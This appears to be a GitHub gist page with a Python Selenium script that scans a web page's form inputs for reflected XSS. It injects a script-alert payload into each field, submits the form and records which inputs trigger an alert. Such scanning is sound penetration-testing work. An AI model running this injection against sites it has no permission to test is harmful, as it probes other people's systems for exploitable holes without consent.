Skip to content

Instantly share code, notes, and snippets.

@cardin
Last active April 30, 2019 02:03
Show Gist options
  • Select an option

  • Save cardin/a221273af8fb22aec76bc469d33f69e0 to your computer and use it in GitHub Desktop.

Select an option

Save cardin/a221273af8fb22aec76bc469d33f69e0 to your computer and use it in GitHub Desktop.
Injects HTML elements (specified by xpath, filtered by lambdas) using a Javascript alert(), with auto-success detection
'''
Injects HTML elements (specified by xpath, filtered by lambdas)
using a Javascript alert(), with auto-success detection
Requires:
pip install selenium
geckodriver
'''
import itertools
import json
# import os
from os import path
from pprint import pprint
# import urllib
# import urllib2
# import ssl
import sys
# import time
# from bs4 import BeautifulSoup as bs
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException, TimeoutException
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
# from selenium.webdriver.common.by import By
# Web Drivers #
GECKO = path.join('..', 'geckodriver.exe')
PHANTOM_JS = path.join('..', 'phantomjs-2.1.1-windows', 'bin', 'phantomjs.exe')
PHANTOM_JS_SSL = ['--ignore-ssl-errors=true', '--ssl-protocol=any']
# Injection Parameters #
## url to hit
URL = 'https://app1.com'
## html element to hit ({} = integer step iterator)
XPATH_TARGET = '(//form//input)[{}]'
## filter ruleset
FILTERS = [
lambda x: x.get_attribute('type') not in ('file', 'image'),
]
## payloads to insert
PAYLOADS = [
'"<script>alert(\'Reflected XSS!\')</script>"',
]
## injection ({} = the payload)
INJECT_SCRIPT = 'arguments[0].value={}'
def filter_check(target):
''' True if target passes all filters '''
for filt in FILTERS:
if not filt(target):
return False
return True
def has_alert(driver, delay=3):
''' True if alert is detected '''
try:
WebDriverWait(driver, delay).until(EC.alert_is_present())
return True
except TimeoutException:
return False
def main(url):
''' Main Function '''
results = []
gecko = webdriver.Firefox(executable_path=GECKO)
try:
# monotonically increasing until exception
for i in itertools.count(start=1):
result_dict = {}
# close prev instance
if i > 1:
gecko.close()
gecko.get(url)
# find n-th target element
xpath = XPATH_TARGET.format(i)
target = gecko.find_element_by_xpath(xpath)
# filter targets that don't match
if not filter_check(target):
continue
result_dict['html'] = target.get_attribute('outerHTML')
# inject payload
for payload in PAYLOADS:
new_value = INJECT_SCRIPT.format(payload)
gecko.execute_script(new_value, target)
target.submit()
# check for success
if not has_alert(gecko):
result_dict['outcome'] = 'Possibly Nothing'
else:
alert = gecko.switch_to_alert()
result_dict['payload'] = payload
result_dict['outcome'] = alert.text
alert.accept()
break
pprint(result_dict)
print ''
results.append(result_dict)
except NoSuchElementException:
pass
finally:
gecko.quit()
with open('html_injection.json', 'w') as fsys:
json.dump(results, fsys, indent=1, sort_keys=True)
if __name__ == "__main__":
URL = sys.argv[1] if len(sys.argv) > 1 else URL
main(URL)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment